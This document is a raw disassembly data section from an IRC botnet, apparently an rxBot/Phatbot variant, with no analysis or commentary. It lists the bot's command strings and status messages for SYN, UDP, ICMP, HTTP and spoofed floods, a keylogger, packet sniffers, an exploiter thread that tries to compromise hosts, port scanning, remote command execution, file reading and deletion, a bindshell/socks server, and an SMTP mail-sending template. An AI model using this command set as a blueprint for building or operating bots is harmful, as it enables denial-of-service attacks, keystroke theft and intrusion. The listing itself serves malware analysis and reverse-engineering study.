aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42B048	db  2Dh	; -		; DATA XREF: sub_401ACD+53AFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Fo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5398o
unk_42B08C	db  2Dh	; -		; DATA XREF: sub_401ACD+52FDo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52EDo
		align 10h
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D6o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+5260o
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Do
unk_42B0D4	db  2Dh	; -		; DATA XREF: sub_401ACD+51FEo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+518Ao
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Fo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5088o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5071o
		align 4
aP:					; DATA XREF: sub_401ACD+505Ao
					; ___:00438308o ...
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5043o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Co
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5015o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFEo
aU:					; DATA XREF: sub_401ACD+4FE7o
					; ___:00438300o ...
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FD0o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB9o
		align 4
aAdv		db 'adv',0              ; DATA XREF: sub_401ACD+4FA2o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Bo
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F74o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Do
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F37o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F20o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F09o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF2o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDBo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC4o
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EADo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E96o
		align 10h
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Fo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E68o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E51o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E3Ao
		align 4
dword_42B214	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Do
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
dword_42B250	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBEo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Bo
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D24o
					; sub_401ACD+52BEo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Do
		align 4
unk_42B298	db  2Dh	; -		; DATA XREF: sub_401ACD+4D00o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C29o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C12o
					; sub_412B09:loc_412C35o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFBo
					; sub_412B09:loc_412C19o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE4o
					; sub_412B09+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCDo
					; ___:00438338o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB6o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Do
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B76o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Fo
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B48o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B31o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B1Ao
		align 4
aE:					; DATA XREF: sub_401ACD+4B03o
					; ___:004382F0o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AECo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD5o
		align 4
aJpDe10		db 'jp]de10',0          ; DATA XREF: sub_401ACD+4ABEo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA7o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A90o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A79o
		align 10h
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A62o
					; sub_401ACD+6BE8o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Bo
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A34o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Do
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A06o
		align 10h
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EFo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D8o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C1o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49AAo
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4993o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Co
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4965o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Eo
		align 10h
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4937o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+4920o
		align 4
aM:					; DATA XREF: sub_401ACD+4909o
					; ___:00438348o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DBo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C4o
		align 4
aA:					; DATA XREF: sub_401ACD+48ADo
					; ___:0043830Co
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4896o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4868o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4851o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+483Ao
		align 10h
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4823o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Co
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E3o
		align 10h
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CEo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B9o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A4o
unk_42B424	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406266o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B440	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Fo
					; sub_409B13+5F0o
		align 4
unk_42B46C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B48C	db  2Dh	; -		; DATA XREF: sub_401ACD+4748o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B4AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406194o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B4CC	db  2Dh	; -		; DATA XREF: sub_401ACD+46BDo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Fo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Bo
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4611o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F7o
		align 4
unk_42B514	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B534	db  2Dh	; -		; DATA XREF: sub_401ACD+45E0o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45AAo
		align 10h
unk_42B560	db  2Dh	; -		; DATA XREF: sub_401ACD+4578o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4554o
dword_42B59C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4549o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42B5D8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44DAo
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42B5FC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4458o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42B61C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Fo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42B648	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4438o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F9o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D7o
		align 4
dword_42B694	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E99o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42B6B4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C2o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B6EC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4392o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42B720	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4345o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B74C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4335o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4302o
		align 4
unk_42B774	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC4o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B7A4	db  2Dh	; -		; DATA XREF: sub_401ACD+42EDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B7E4	db  2Dh	; -		; DATA XREF: sub_401ACD+42BDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B820	db  2Dh	; -		; DATA XREF: sub_401ACD+424Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B850	db  2Dh	; -		; DATA XREF: sub_401ACD+41E7o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41B0o
dword_42B878	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C72o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B8A4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Bo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B8E0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Bo
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B91C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FCo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B94C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4095o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4075o
					; sub_401ACD+41C7o ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Eo
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4049o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4034o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Fo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+400Ao
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF5o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FE0o
aV:					; DATA XREF: sub_401ACD+3FCBo
					; ___:0043833Co ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB6o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA1o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Co
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F77o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Do
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F38o
					; sub_401ACD+4645o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F23o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Eo
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF9o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE4o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECFo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EBAo
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA5o
		align 10h
aO:					; DATA XREF: sub_401ACD+3E7Bo
					; ___:0043866Co
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E66o
					; sub_401ACD+590Co ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E51o
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Co
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E27o
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E12o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFDo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE8o
		align 4
aK:					; DATA XREF: sub_401ACD+3DD3o
					; ___:00438328o ...
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBEo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D94o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Fo
		align 10h
aJ:					; DATA XREF: sub_401ACD+3D55o
					; ___:00438324o ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Bo
					; ___:00438344o ...
		unicode	0, <n>,0
unk_42BA48	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF7o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 10h
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C93o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C6Ao
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C11o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B44o
dword_42BAA8	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AF0o
					; sub_401ACD+3B27o
		dd 0
dword_42BAC0	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB9o
		dd 1
dword_42BAD8	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A82o
					; sub_401ACD+3B99o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Do
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3998o
					; sub_401ACD+39D4o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Eo
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Fo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3808o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3706o
					; sub_401ACD+3D16o
		align 10h
dword_42BB20	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E9o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42BB48	dd 636364h		; DATA XREF: sub_401ACD+366Co
dword_42BB4C	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Fo
dword_42BB58	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3502o
					; sub_401ACD+3763o ...
dword_42BB60	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E7o
					; sub_40ACB6+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A6o
		align 10h
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3489o
					; sub_401ACD+3579o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3462o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3445o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3423o
					; sub_401ACD+3D6Ao
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3406o
					; sub_401ACD+354Do ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E4o
					; sub_401ACD+3D40o
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C7o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3378o
					; sub_401ACD+48F2o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Bo
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Co
		align 10h
dword_42BBD0	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EFo
dword_42BBE4	dd 7463h		; DATA XREF: sub_401ACD+32A0o
dword_42BBE8	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3283o
					; sub_401ACD+38A9o ...
dword_42BBF8	dd 5Fh			; DATA XREF: sub_401ACD+3254o
					; sub_401ACD+32C0o ...
dword_42BBFC	dd 6D70h		; DATA XREF: sub_401ACD+3234o
					; sub_401ACD+487Fo
unk_42BC00	db  2Dh	; -		; DATA XREF: sub_401ACD+3202o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31ABo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3182o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Bo
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3156o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3141o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Co
		align 4
unk_42BC68	db  2Dh	; -		; DATA XREF: sub_401ACD+3121o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42BCA8	db  2Dh	; -		; DATA XREF: sub_401ACD+30AFo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3029o
unk_42BCE0	db  2Dh	; -		; DATA XREF: sub_401ACD+300Fo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF1o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCDo
		align 4
unk_42BD4C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A41o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A23o
					; sub_401ACD+3F62o
unk_42BD88	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42BDB4	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 10h
dword_42BDE0	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Eo
unk_42BDF0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 10h
dword_42BEA0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Co
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BEDC	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD2o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCCo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC5o
		align 10h
unk_42BF10	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Eo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42BF50	db  2Dh	; -		; DATA XREF: sub_401ACD+2CCAo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BF7C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C48o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BFB8	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD9o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BFE0	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B26o
dword_42BFF0	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B21o
dword_42BFFC	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Eo
dword_42C00C	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B09o
dword_42C01C	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A96o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404556o
					; sub_401ACD:loc_409779o ...
		align 10h
dword_42C050	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A74o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404534o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Eo
					; sub_401ACD+7A7Fo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Fo
		align 10h
unk_42C0A0	db  2Dh	; -		; DATA XREF: sub_401ACD+2A18o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42C0CC	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D9o
		dd 2E7325h
unk_42C0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+29CAo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
